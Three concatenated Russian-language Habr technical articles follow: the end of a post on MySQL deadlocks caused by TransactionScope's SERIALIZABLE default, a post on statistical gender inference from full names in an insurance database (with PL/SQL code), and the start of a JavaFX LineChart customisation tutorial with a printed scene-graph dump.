Если я запускаю 2 транзакции почти одновременно (*в двух отдельных вкладках/сеансах и со слегка отличающимися значениями данных*), то вывод диагностического запроса показывает: одна транзакция получает блокировку X, а другая ожидает ее, но по-прежнему не просматривается блокировка S[\*](#111):
Подождав еще немного, получаю ошибку LOCK WAIT TIMEOUT, а не DEADLOCK:
Интрига закручивается!!!
Влияет ли на блокировки уровень изоляции транзакций?
----------------------------------------------------
По умолчанию в MySql принят [уровень изоляции](https://dev.mysql.com/doc/refman/5.6/en/innodb-transaction-isolation-levels.html) REPEATABLE READ, поэтому я предположу, что в `TransactionScope` по умолчанию также действует уровень изоляции REPEATABLE READ, из-за чего взаимная блокировка становится еще более странной, ведь выполнение SQL-скрипта к взаимной блокировке не приводит. Поэтому я заглянул под капот `TransactionScope` и нашел вот что:
Здесь внутри создается экземпляр `CommittableTransaction`
Использующий **SERIALISABLE** в качестве уровня изоляции, заданного по умолчанию (*это также* [*документировано*](https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-3.0/ms172152(v=vs.85)#setting-the-transactionscope-isolation-level)*, но на тот момент я еще не удосужился закопаться в документацию так глубоко*)!…ну… oк! Значит, вот в чем причина взаимной блокировки?
Я изменил мои SQL-скрипты так, чтобы установить уровень изоляции в значение SERIALISABLE, и снова запустил их одновременно (*причина, по которой нужны искусственные задержки – так я хочу повысить вероятность взаимной блокировки, чуть-чуть изменив порядок, в котором приобретаются блокировки. Вероятно, это же происходит и в коде из репозитория, и вот почему должно пройти несколько итераций, прежде, чем начнут всплывать взаимные блокировки. Без этого единственная ошибка, которую я получаю - LOCK WAIT TIMEOUT!* ) :
```
#Транзакция 1
set autocommit = off;
set SESSION TRANSACTION ISOLATION LEVEL SERIALIZABLE ;
start transaction;
select * from TrxDb.Products where Id = 1000;
do sleep(8);
update TrxDb.Products set stock = 8 where Id = 1000 and Version = 1;
#Транзакция 2
set autocommit = off;
set SESSION TRANSACTION ISOLATION LEVEL SERIALIZABLE ;
start transaction;
do sleep(5);
select * from TrxDb.Products where Id = 1000;
update TrxDb.Products set stock = 8 where Id = 1000 and Version = 1;
```
И…ВЗАИМНАЯ БЛОКИРОВКА!!!
В результатах диагностического запроса показаны блокировки:
Обе транзакции приобрели S-блокировки, а потом остались дожидаться X-блокировки, поскольку, как только принята S-блокировка, никакие другие блокировки не предоставляются. Именно это я и видел в исходном выводе лога с взаимной блокировкой с самого начала.
Но почему операция SELECT принимает S-блокировку при уровне изоляции serialisable[\*\*](#222)?
Оказывается, что ответ на первый вопрос совсем прост и даже как-то ломает интригу:
> *SERIALIZABLE*
> *Этот уровень подобен*[*REPEATABLE READ*](https://dev.mysql.com/doc/refman/8.0/en/innodb-transaction-isolation-levels.html#isolevel_repeatable-read)*,****но InnoDB неявно преобразует все обычные операции*** [***SELECT***](https://dev.mysql.com/doc/refman/8.0/en/select.html)***в***[***SELECT … FOR SHARE***](https://dev.mysql.com/doc/refman/8.0/en/select.html)***, если отключена***[***автофиксация***](https://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html#sysvar_autocommit)*. Если автофиксация включена, то* [*SELECT*](https://dev.mysql.com/doc/refman/8.0/en/select.html)*– это самостоятельная транзакция. Соответственно, известно, что она предназначена только для чтения и поддается сериализации, если выполняется как согласованное (неблокирующее) чтение, и ее не нужно блокировать, чтобы могли пройти другие транзакции. (Чтобы принудительно заставить обычную* [*SELECT*](https://dev.mysql.com/doc/refman/8.0/en/select.html)*блокироваться, если другие транзакции модифицировали выбранные ряды, отключите автофиксацию.)*
>
> [Документация](https://dev.mysql.com/doc/refman/8.0/en/innodb-transaction-isolation-levels.html) MySql
>
>
А SELECT…FOR SHARE так устроена, что принимает блокировку S – значит, это и есть первопричина блокировки S!
Как мы это исправили?
---------------------
Часто взаимные блокировки могут свидетельствовать о том, что при проектировании приложения были допущены ошибки. Но я заметил, что нам, в самом деле, не требуется выполнять на уровне данных операции типа UPSERT. Вместо этого операцию такого типа можно разделить на две независимые операции INSERT и UPDATE, перенеся таким образом акт принятия решения на уровень предметной области.
Разделяя UPSERT, мы, фактически, не просто укорачиваем отдельные транзакции, но и делаем их более явными и простыми. Затем код предметной области может определять, создавать ли новую запись, если записи для данного id пока не существует, либо обновить уже имеющуюся тем состоянием, которое было принесено в событии. С любой практической точки зрения это решение должно приниматься именно на уровне предметной области, а не на уровне данных, поскольку именно в предметной области найдется достаточный контекст и осведомленность о том, хватает ли у нас информации для продолжения работы. Проверка на “существование” не требует что-либо блокировать, поэтому при таком разделении уменьшиться и общее количество блокировок. Может начаться гонка, когда проверка на сервере A сообщает: «товар не существует, создать его», и одновременно на другом сервере B происходит та же проверка, но там этот товар создается раньше, и тогда на сервере A операция не удается из-за нарушения первичного ключа. Но, поскольку наша система основана на сообщениях, простая повторная попытка, сделанная чуть позже, позволит корректно обновить запись, и система снова станет согласованной. С небольшой отложенной обработкой мы справимся.
Разумеется, все это будет варьироваться от системы к системе, поэтому предложенное решение может оказаться правильным и желательным не в любой ситуации. Но при извлечении данных для определения того, требуется ли нам вставка или обновление, **все в одной транзакции**, по определению приводит к более долгоиграющим транзакциям, поэтому *могут* создаться условия для конфликта при блокировках и, соответственно, могут случиться взаимные блокировки (*что и подчеркивается в этом посте*).
Весь код к посту (плюс некоторые дополнительные сценарии) выложен на [GitHub](https://github.com/explorer14/TransactionsAndDeadlocks)!
*\**Разумеется, здесь я выполняю транзакции не так, как в коде, поскольку вообще не делаю фиксации транзакций (так как хочу отловить их, пока они работают), и у этого есть побочный эффект: транзакции удерживают блокировки дольше, чем требуется. Но тот факт, что код все равно приходит к взаимной блокировке, приводит меня к обоснованной догадке, что на данный момент сделанная мной конфигурация еще не совершенна, но не безнадежна! Если вы знаете лучший или более надежный способ поставить такой эксперимент – высказывайтесь в комментариях!
*\*\** Оказывается, что уровень изоляции serialisable весьма недопонимают (я точно недопонимал). Из-за этого можно подумать, что транзакции будут выполняться одна за другой детерминированным образом, поэтому и возникает вопрос: откуда взаимные блоуировки, если все блокировки приобретаются детерминированным образом. Но на самом деле [все](https://sqlperformance.com/2014/04/t-sql-queries/the-serializable-isolation-level) [не совсем](https://stackoverflow.com/questions/27347730/serializable-transaction-deadlock) [так](https://dba.stackexchange.com/a/226179)! Если у вас создается впечатление, как будто транзакции происходят одна за другой, это еще не значит, что они **физически**идут друг за другом. Блокировки, принимаемые в рамках сериализуемой транзакции, не мешают другим сериализуемым транзакциям **начаться,**они только предотвращают фантомные считывания и грязные считывания незафиксированных данных. Это означает, что транзакции все равно будут перекрываться, и порядок «одна за другой» достигается только ценой взаимных блокировок, ответственность за которые ложится на программиста, то есть, на вас! | https://habr.com/ru/post/591121/ | null | ru | null |
# Определение пола по ФИО – когда точность действительно важна
Некоторое время назад меня заинтересовала задача определения пола человека по его ФИО. В тот момент я работал в области медицинского страхования, где эта проблема была действительно актуальна – расходы на одного застрахованного, а значит и тарифы, по которым людей принимали на страхование, в зависимости от пола клиента, могли отличаться в несколько раз. Большая часть договоров – корпоративные, застрахованные являются сотрудниками работодателя.
Мы никогда не видели большинство из них в глаза, все, что мы имели – списки застрахованных, где пол иногда был указан (с большим количеством ошибок), но чаще – не указан вообще. Большинство компаний имеют свою специфику работы и профессиональные традиции, в силу чего, в их коллективах преобладают люди одного пола. Даже небольшая ошибка могла сделать потенциально прибыльный договор убыточным (или наоборот, но на такое, по странному стечению обстоятельств, случалось с нашими клиентами гораздо реже). В целом, при объеме портфеля договоров в несколько миллиардов, и характерном количестве ошибок около процента, цена корректного определения пола по ФИО была в районе нескольких десятков миллионов.
В рунете тема определения пола по ФИО поднималась уже неоднократно, но, в большинстве случаев, все сводилось к рекомендации внимательно смотреть на окончание отчества («вич»/«вна») или использовать какие-то подобные найденные вручную закономерности. К сожалению, в моей ситуации этот метод не подходил – среди застрахованных было много, действительно много, иностранцев. Правильное написание их отчества не содержало никаких признаков искомого окончания (а в некоторых случаях отсутствовало и само отчество).
Поэтому для решения задачи я решил использовать статистический подход – по существующей базе клиентов определять к какому полу обычно принадлежат люди с искомыми фамилией, именем и отчеством и, по этим данным, относить новых застрахованных к тому или иному классу. Если часть ФИО принадлежала преимущественно мужчинам – я начислял +1 балл, если женщинам – минус один балл, если было примерно поровну – начислялось 0 баллов. Результат по всем трем частям складывался и, если сумма была больше или равна +2, пол определялся как мужской; меньше или равен -2 – как женский; в противном случае считалось что пол определить не удалось и нужно рассчитывать его другими методами.
Как ни странно, подобный, очень простой алгоритм, позволил добиться потрясающей точности – на выборке в несколько сотен тысяч человек (при базе для обучения в полтора миллиона) было допущено всего 6 ошибок (которые будут описаны ниже и каждую из которых, вполне вероятно, живой человек тоже совершил бы).
Некоторые подробности предварительной подготовки обучающей выборки:
* Все ФИО должны содержать в своем составе либо только кириллицу, либо только латиницу;
* Допустимы только буквы, пробелы, дефисы и символ одинарной кавычки. Все остальные символы должны быть либо удалены либо заменены на близкие им. Между дефисом и близкими к нему буквами должны отсутствовать пробелы;
* Все буквы должны быть в одном регистре (или все должны иметь первую букву – заглавную, остальные – строчные);
* Между частями ФИО должны быть только одинарные пробелы, с краев ФИО не должно быть лишних пробелов;
* Деление строки с ФИО на три части осуществляется по первому и второму пробелу. Если части всего две – отчество равно null, если больше трех – отчество это все, что после второго пробела.
Поскольку всю логику я писал на PL/SQL, то выкладывать целиком пакет с реализацией алгоритма я не буду – он очень завязан на внутреннюю структуру базы и особенности хранения данных, однако я хотел бы упомянуть несколько особенностей:
Поскольку каждый раз, когда требуется определить пол человека, пробегаться по таблице контрагентов со всеми записями долго, то агрегированную информацию о частотах появления определенной части ФИО в хранимых данных я разместил во вспомогательной таблице. Выглядит это как четверка параметров – [часть ФИО – тип (Ф, И или О)– пол – число записей в базе]. Статистика обновляется еженедельно, автоматически.
Для определения того, какое соотношение мужчин и женщин для одной части ФИО считать достаточным основанием для причисления его к тому или иному полу, я использовал следующую функцию:
```
-- по числу мужчин (первый параметр) и женщин (второй параметр) определяет пол
-- +1 - мужчина
-- 0 - не известно
-- -1 - женщина
function get_sex_by_cnt (mcnt number, fcnt number) return number
is
begin
if mcnt=fcnt then return 0; end if; -- очевидная неопределенность
if mcnt<=2 and fcnt<=2 then return 0; end if; -- слишком мало информации для анализа
if mcnt>=3 and fcnt=0 then return 1; end if; -- обработка нулей номер 1
if mcnt=0 and fcnt>=3 then return -1; end if; --обработка нулей номер 2
if mcnt/fcnt>0.5 and mcnt/fcnt<2 then return 0; end if; -- перевес одного пола не решающий
if mcnt>fcnt then return 1; end if; -- ну и наконец. очевидно мужчина
if mcnt
```
Если по ФИО определить пол не удалось (суммарное значение оценок находится в диапазоне [-1;1]), то, в большинстве случаев, можно пренебречь фамилией и использовать только ИО – с тем же критерием корректности работы (+2 – мужчина, -2 – женщина, иначе – пол не определен). Это помогает обойти ситуации, когда неизменяемая фамилия вроде «Тимошенко» ошибочно приписывается одному полу, а имя и отчество принадлежат противоположному.
Ошибки алгоритма. Я обнаружил три ситуаций, когда алгоритм может выдать некорректный результат:
1. Азиаты. В китайском языке отсутствуют формальные признаки позволяющие отнести имя к определенному полу. Вероятно, сказанное относится и к некоторым другим языкам (как минимум, могу предположить это про тайский, вьетнамский и корейский) Т.е. по ФИО определить пол невозможно в принципе. Данная причина ответственна за 3 обнаруженных ошибки работы функции из 6. В среднем, число мужчин и женщин с азиатскими именами оказалось равно, однако некоторые (в основном редкие имена и фамилии) принадлежали преимущественно одному полу. Какого-то простого решения кроме дальнейшего набора статистики трудно предложить, однако это не решит проблему полностью. Трудное, но относительно надежное решение — можно написать функцию определяющую – является имя азиатским или нет (я еще не сделал этого, но, судя по моей беседе с коллегой-переводчиком, это возможно) и для всех азиатов возвращать 0 вне зависимости от собранной статистики.
2. Инициалы. В некоторых случаях ФИО заносится в базу в виде «Иванов И И». Отдельные буквы воспринимаются функцией как имя и отчество, они участвуют в общей статистике и влияют на принятие решения о поле человека. При занесении в базу нового человека с ФИО вроде «Ковальчук О И» могут возникнуть расхождения реального пола с вычисленным. Эта причина ответственна за одну ошибку из обнаруженных шести. Бороться с такими ошибками можно, например, присваивая однобуквенным фамилиям именам и отчествам нулевой пол вне зависимости от собранной статистики.
3. Имена, которые значительно чаще использует один пол, чем другой или практика применения которых отличается в разных странах. Две ошибки из обнаруженных шести. Пример (я немного исказил реальные имена, на которых возникла ошибка, чтобы не разглашать персональные данные): Мохамад Сулейман Фархонда (женщина) и Саша Александр Джеферсон (женщина, гражданка США). Я не знаю, возможно ли подобные случаи исправить алгоритмически, поэтому просто добавил эти имена в таблицу исключений.
Как искались ошибки работы функции: был установлен запрет на занесение в базу компании новых застрахованных с полом отличным от определенного функцией. В случае возникновения подобной ошибки, сотрудники компании связывались с организацией предоставившей списки застрахованных и уточняли у нее реальный пол человека. Таким образом, все случаи расхождения реальных и расчетных данных обрабатывались в ручном режиме. Общее количество людей прошедших подобную проверку – около 250 тыс.
К сожалению, данный метод не является серебряной пулей, он просто лучше всех других, которые я встречал. Я тестировал метод на нескольких базах данных в разных компаниях. К минусам можно отнести то, что для части людей из-за недостаточной статистики определить пол по ФИО нельзя: на базе в 1,5 млн человек таких людей чуть больше 1%, на базе в 300 тыс человек таких около 3%, на базе в 6 млн человек не удалось определить пол для 0,8%. У меня есть предположение, что процент людей, для которых пол не может быть определен, обратно пропорционален корню из размера обучающей выборки, но никакого объяснения — почему именно так происходит, у меня нет. Конечно, процент людей, для которых пол может быть определен можно увеличить (и даже довести почти до 100%) установив более мягкие условия на то, когда человеку можно присвоить какой-либо пол, но для задач, с которыми я работал, была важнее точность, чем 100%-ное отнесение к одному из двух классов.
Другой недостаток, которому подвержен данный метод – плохая работа с опечатками. Несмотря на то, что некоторые из них довольно стандартны (имя «Олга» встречается чаще, чем, например, вполне правильное «Октябрина»), для большинства опечаток статистика будет отсутствовать => определить пол по такому имени будет не всегда возможно. К сожалению, обратное утверждение (если искомое имя еще ни разу не встречалось в базе, значит оно написано не правильно) не верно – людей с уникальными именами не меньше, чем опечаток в именах обычных людей.
Как и у любого инструмента, у этого есть особенности, о которых не задумываешься при создании.
1. Набранная статистика позволяет искать имена написанные с ошибками определенного типа. Если одна часть ФИО согласно набранной статистике имеет один пол, а другая – другой, вероятно имеет место опечатка. Пример – «Иванов Наталья Сергеевна». В данном случае, наиболее вероятно, что допущена опечатка в фамилии – забыта буква «а» в конце.
2. Если большая часть данных в обучащей выборке будет представлена преимущественно в одном формате (Ф-И-О), то опираясь на собранные данные появляется возможность искать ФИО написанные в другом порядке (например, И-O-Ф) – просто на основе того к какой части ФИО обычно принадлежит искомая часть. Это может иметь значение, если компания проводит рассылки в духе «Уважаемый Олег Константинович!».
3. В тех случаях, которые я наблюдал на практике, процент ошибок в обучающей выборке не влияет ни на точность прогноза, ни на количество имен, которые не удалось отнести к тому или иному классу. В одном из случаев, с которым я имел дело, процент ошибок определения пола в обучающей выборке был около 4%, после их исправления и повторного сбора статистики количество имен для которых не удалось определить ФИО, изменилось меньше чем на 1%.
**UPD 1**
В комментариях было предложено много необычных имен, я проверил — как они будут определяться предложенным выше алгоритмом. По [ссылке](https://yadi.sk/i/cAK-buhumizoP) – предложенные имена и их вариации с оценками пола по фамилии, имени и отчеству.
**UPD 2**
Ниже было высказано предположение, что определение пола по ФИО является типичной задачей классификации. Я нашел у себя [данные](https://yadi.sk/d/xpb1ndF_3PCXDj) по 500 тыс человек для каждого из которых известны последние буквы фамилии (ssecondname), имени (sname) и отчества (sthirdname), цифры 3, 2 и 1 означают сколько последних символов от этой части ФИО было использовано. К сожалению, другой подобной выборки у меня нет, как и возможности сделать ее с другим набором признаков для исследования.
Также я построил на этих данных дерево решений:
Не усеченное (а значит, и, неизбежно, переобученное): [h1analysis.ru/analysis/download/89](http://h1analysis.ru/analysis/download/89)
Усеченное таким образом, чтобы удалить все ветви содержащие менее 10 человек: [h1analysis.ru/analysis/download/90](http://h1analysis.ru/analysis/download/90)
Качество классификации я не проверял. Усечений методами вроде 30/70 тоже не делал. | https://habr.com/ru/post/274499/ | null | ru | null |
# Гибкая настройка графиков в JavaFX
JavaFX довольно странная штука. С одной стороны он кажется безумно продуманным и удобным настолько, что хочется использовать его где только можно. А с другой стороны он настолько топорный, что хочется его переписать. Некоторые части графического интерфейса работают совсем странно, другие объявлены как **final** и дополнить их невозможно.
Если вам интересно, как представлены графические элементы в JavaFX и как можно разнообразить свой график, то открывайте кат, на свой страх и риск.
#### Структура графического интерфейса в JavaFX
JavaFX — это [RIA](https://ru.wikipedia.org/wiki/Rich_Internet_Application) фреймворк. Так же, все настройки вида графических элементов можно изменить только через СSS, что делать невозможным обычные методы изменение интерфейса, которые использовались в Swing или AWT через Graphics.
Так же, в отличии от других Java GUI фреймворков, создавать новые графические элементы в JavaFX **крайне сложно** из-за сложной реализации самого JavaFX. Поэтому, во время создания своих элементов их конструируют из старых.
Так поступают и сами разработчики JavaFX во время создания сложных контроллов, таких как графики.
В этом нет ничего нового, но главное отличие JavaFX от остальных фрейворков состоит в том, что структура являет собой дерево с полным доступом, то есть можно достучатся до **всех** этих элементов и легко настроить их (через CSS или еще как-то).
В качестве примера, я приведу настройку LineChart.
#### Настройка LineChart
Что бы что-то настроить, нужно четко понимать, из чего оно стоит.
Понять, из чего же состоит LineChart нам поможет функция lookupAll и ~~наконец-то~~ адекватный перевод компонентов JavaFX в строку.
Выполнив такой код:
```
VBox vBox = new VBox();
LineChart chart = new LineChart(new NumberAxis(), new NumberAxis());
chart.getData().add(new XYChart.Series<>("Temp1", FXCollections.observableArrayList(new XYChart.Data(1, 1), new XYChart.Data(2, 2), new XYChart.Data(3, 4))));
vBox.getChildren().add(chart);
primaryStage.setScene(new Scene(vBox));
primaryStage.show();
((XYChart.Series) chart.getData().get(0)).getData().addAll(new XYChart.Data<>(5, 5));
chart.lookupAll("\*").forEach(c->{
System.out.println(c);
System.out.println();
});
```
**Результат**LineChart@be5a370[styleClass=chart]
Label@7415bead[styleClass=label chart-title]''
Text[text="", x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL\_VERTICAL\_CENTER, font=Font[name=System Regular, family=System, style=Regular, size=18.200000762939453], fontSmoothingType=LCD, fill=0x333333ff]
Chart$1@2fca6f84[styleClass=chart-content]
Region@285a8729[styleClass=chart-plot-background]
XYChart$1@53306ff
Path[elements=[], fill=null, fillRule=NON\_ZERO]
Path[elements=[MoveTo[x=39.0, y=45.0], LineTo[x=481.0, y=45.0], LineTo[x=481.0, y=81.0], LineTo[x=39.0, y=81.0], ClosePath, MoveTo[x=39.0, y=116.0], LineTo[x=481.0, y=116.0], LineTo[x=481.0, y=152.0], LineTo[x=39.0, y=152.0], ClosePath, MoveTo[x=39.0, y=187.0], LineTo[x=481.0, y=187.0], LineTo[x=481.0, y=223.0], LineTo[x=39.0, y=223.0], ClosePath, MoveTo[x=39.0, y=258.0], LineTo[x=481.0, y=258.0], LineTo[x=481.0, y=294.0], LineTo[x=39.0, y=294.0], ClosePath], fill=null, fillRule=NON\_ZERO]
Path[elements=[MoveTo[x=73.5, y=10.0], LineTo[x=73.5, y=329.0], MoveTo[x=107.5, y=10.0], LineTo[x=107.5, y=329.0], MoveTo[x=141.5, y=10.0], LineTo[x=141.5, y=329.0], MoveTo[x=175.5, y=10.0], LineTo[x=175.5, y=329.0], MoveTo[x=209.5, y=10.0], LineTo[x=209.5, y=329.0], MoveTo[x=243.5, y=10.0], LineTo[x=243.5, y=329.0], MoveTo[x=277.5, y=10.0], LineTo[x=277.5, y=329.0], MoveTo[x=311.5, y=10.0], LineTo[x=311.5, y=329.0], MoveTo[x=345.5, y=10.0], LineTo[x=345.5, y=329.0], MoveTo[x=379.5, y=10.0], LineTo[x=379.5, y=329.0], MoveTo[x=413.5, y=10.0], LineTo[x=413.5, y=329.0], MoveTo[x=447.5, y=10.0], LineTo[x=447.5, y=329.0], MoveTo[x=481.5, y=10.0], LineTo[x=481.5, y=329.0]], fill=null, fillRule=NON\_ZERO, stroke=0xdcdcdcff, strokeWidth=1.0]
Path[elements=[MoveTo[x=39.0, y=294.5], LineTo[x=481.0, y=294.5], MoveTo[x=39.0, y=258.5], LineTo[x=481.0, y=258.5], MoveTo[x=39.0, y=223.5], LineTo[x=481.0, y=223.5], MoveTo[x=39.0, y=187.5], LineTo[x=481.0, y=187.5], MoveTo[x=39.0, y=152.5], LineTo[x=481.0, y=152.5], MoveTo[x=39.0, y=116.5], LineTo[x=481.0, y=116.5], MoveTo[x=39.0, y=81.5], LineTo[x=481.0, y=81.5], MoveTo[x=39.0, y=45.5], LineTo[x=481.0, y=45.5], MoveTo[x=39.0, y=10.5], LineTo[x=481.0, y=10.5]], fill=null, fillRule=NON\_ZERO, stroke=0xdcdcdcff, strokeWidth=1.0]
Line[startX=39.5, startY=10.0, endX=39.5, endY=329.0, stroke=0x646464ff, strokeWidth=1.0]
Line[startX=39.0, startY=329.5, endX=481.0, endY=329.5, stroke=0x646464ff, strokeWidth=1.0]
Group@2bdd794e[styleClass=plot-content]
Path[elements=[MoveTo[x=136.0, y=248.0], LineTo[x=136.0, y=248.0], LineTo[x=272.0, y=177.0], LineTo[x=408.0, y=35.0]], fill=null, fillRule=NON\_ZERO, stroke=0xf3622dff, strokeWidth=3.0]
StackPane@26193c9c[styleClass=chart-line-symbol series0 data0 default-color0]
StackPane@6bb5f434[styleClass=chart-line-symbol series0 data1 default-color0]
StackPane@38bfa9d7[styleClass=chart-line-symbol series0 data2 default-color0]
NumberAxis@392fac3b[styleClass=axis]
Label@2051bac6[styleClass=label axis-label]''
Text[text="", x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL\_VERTICAL\_CENTER, font=Font[name=System Regular, family=System, style=Regular, size=13.0], fontSmoothingType=LCD, fill=0x333333ff]
Path[elements=[MoveTo[x=0.0, y=0.0], LineTo[x=0.0, y=8.0], MoveTo[x=34.0, y=0.0], LineTo[x=34.0, y=8.0], MoveTo[x=68.0, y=0.0], LineTo[x=68.0, y=8.0], MoveTo[x=102.0, y=0.0], LineTo[x=102.0, y=8.0], MoveTo[x=136.0, y=0.0], LineTo[x=136.0, y=8.0], MoveTo[x=170.0, y=0.0], LineTo[x=170.0, y=8.0], MoveTo[x=204.0, y=0.0], LineTo[x=204.0, y=8.0], MoveTo[x=238.0, y=0.0], LineTo[x=238.0, y=8.0], MoveTo[x=272.0, y=0.0], LineTo[x=272.0, y=8.0], MoveTo[x=306.0, y=0.0], LineTo[x=306.0, y=8.0], MoveTo[x=340.0, y=0.0], LineTo[x=340.0, y=8.0], MoveTo[x=374.0, y=0.0], LineTo[x=374.0, y=8.0], MoveTo[x=408.0, y=0.0], LineTo[x=408.0, y=8.0], MoveTo[x=442.0, y=0.0], LineTo[x=442.0, y=8.0]], fill=null, fillRule=NON\_ZERO, stroke=0xc3c3c3ff, strokeWidth=1.0]
Path[elements=[MoveTo[x=7.0, y=1.0], LineTo[x=7.0, y=5.0], MoveTo[x=14.0, y=1.0], LineTo[x=14.0, y=5.0], MoveTo[x=20.0, y=1.0], LineTo[x=20.0, y=5.0], MoveTo[x=27.0, y=1.0], LineTo[x=27.0, y=5.0], MoveTo[x=41.0, y=1.0], LineTo[x=41.0, y=5.0], MoveTo[x=48.0, y=1.0], LineTo[x=48.0, y=5.0], MoveTo[x=54.0, y=1.0], LineTo[x=54.0, y=5.0], MoveTo[x=61.0, y=1.0], LineTo[x=61.0, y=5.0], MoveTo[x=68.0, y=1.0], LineTo[x=68.0, y=5.0], MoveTo[x=75.0, y=1.0], LineTo[x=75.0, y=5.0], MoveTo[x=82.0, y=1.0], LineTo[x=82.0, y=5.0], MoveTo[x=88.0, y=1.0], LineTo[x=88.0, y=5.0], MoveTo[x=95.0, y=1.0], LineTo[x=95.0, y=5.0], MoveTo[x=109.0, y=1.0], LineTo[x=109.0, y=5.0], MoveTo[x=116.0, y=1.0], LineTo[x=116.0, y=5.0], MoveTo[x=122.0, y=1.0], LineTo[x=122.0, y=5.0], MoveTo[x=129.0, y=1.0], LineTo[x=129.0, y=5.0], MoveTo[x=143.0, y=1.0], LineTo[x=143.0, y=5.0], MoveTo[x=150.0, y=1.0], LineTo[x=150.0, y=5.0], MoveTo[x=156.0, y=1.0], LineTo[x=156.0, y=5.0], MoveTo[x=163.0, y=1.0], LineTo[x=163.0, y=5.0], MoveTo[x=177.0, y=1.0], LineTo[x=177.0, y=5.0], MoveTo[x=184.0, y=1.0], LineTo[x=184.0, y=5.0], MoveTo[x=190.0, y=1.0], LineTo[x=190.0, y=5.0], MoveTo[x=197.0, y=1.0], LineTo[x=197.0, y=5.0], MoveTo[x=211.0, y=1.0], LineTo[x=211.0, y=5.0], MoveTo[x=218.0, y=1.0], LineTo[x=218.0, y=5.0], MoveTo[x=224.0, y=1.0], LineTo[x=224.0, y=5.0], MoveTo[x=231.0, y=1.0], LineTo[x=231.0, y=5.0], MoveTo[x=245.0, y=1.0], LineTo[x=245.0, y=5.0], MoveTo[x=252.0, y=1.0], LineTo[x=252.0, y=5.0], MoveTo[x=258.0, y=1.0], LineTo[x=258.0, y=5.0], MoveTo[x=265.0, y=1.0], LineTo[x=265.0, y=5.0], MoveTo[x=279.0, y=1.0], LineTo[x=279.0, y=5.0], MoveTo[x=286.0, y=1.0], LineTo[x=286.0, y=5.0], MoveTo[x=292.0, y=1.0], LineTo[x=292.0, y=5.0], MoveTo[x=299.0, y=1.0], LineTo[x=299.0, y=5.0], MoveTo[x=306.0, y=1.0], LineTo[x=306.0, y=5.0], MoveTo[x=313.0, y=1.0], LineTo[x=313.0, y=5.0], MoveTo[x=320.0, y=1.0], LineTo[x=320.0, y=5.0], MoveTo[x=326.0, y=1.0], LineTo[x=326.0, y=5.0], MoveTo[x=333.0, y=1.0], LineTo[x=333.0, y=5.0], MoveTo[x=340.0, y=1.0], LineTo[x=340.0, y=5.0], MoveTo[x=347.0, y=1.0], LineTo[x=347.0, y=5.0], MoveTo[x=354.0, y=1.0], LineTo[x=354.0, y=5.0], MoveTo[x=360.0, y=1.0], LineTo[x=360.0, y=5.0], MoveTo[x=367.0, y=1.0], LineTo[x=367.0, y=5.0], MoveTo[x=374.0, y=1.0], LineTo[x=374.0, y=5.0], MoveTo[x=381.0, y=1.0], LineTo[x=381.0, y=5.0], MoveTo[x=388.0, y=1.0], LineTo[x=388.0, y=5.0], MoveTo[x=394.0, y=1.0], LineTo[x=394.0, y=5.0], MoveTo[x=401.0, y=1.0], LineTo[x=401.0, y=5.0], MoveTo[x=408.0, y=1.0], LineTo[x=408.0, y=5.0], MoveTo[x=415.0, y=1.0], LineTo[x=415.0, y=5.0], MoveTo[x=422.0, y=1.0], LineTo[x=422.0, y=5.0], MoveTo[x=428.0, y=1.0], LineTo[x=428.0, y=5.0], MoveTo[x=435.0, y=1.0], LineTo[x=435.0, y=5.0], MoveTo[x=442.0, y=1.0], LineTo[x=442.0, y=5.0]], fill=null, fillRule=NON\_ZERO, stroke=0xc3c3c3ff, strokeWidth=1.0]
Text[text=«0,00», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«0,25», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«0,50», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«0,75», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«1,00», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«1,25», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«1,50», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«1,75», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«2,00», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«2,25», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«2,50», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
Text[text=«2,75», x=0.0, y=0.0, alignment=LEFT, origin=BASELINE, boundsType=LOGICAL, font=Font[name=System Regular, family=System, style=Regular, size=10.800000190734863], fontSmoothingType=GRAY, fill=0x585858ff]
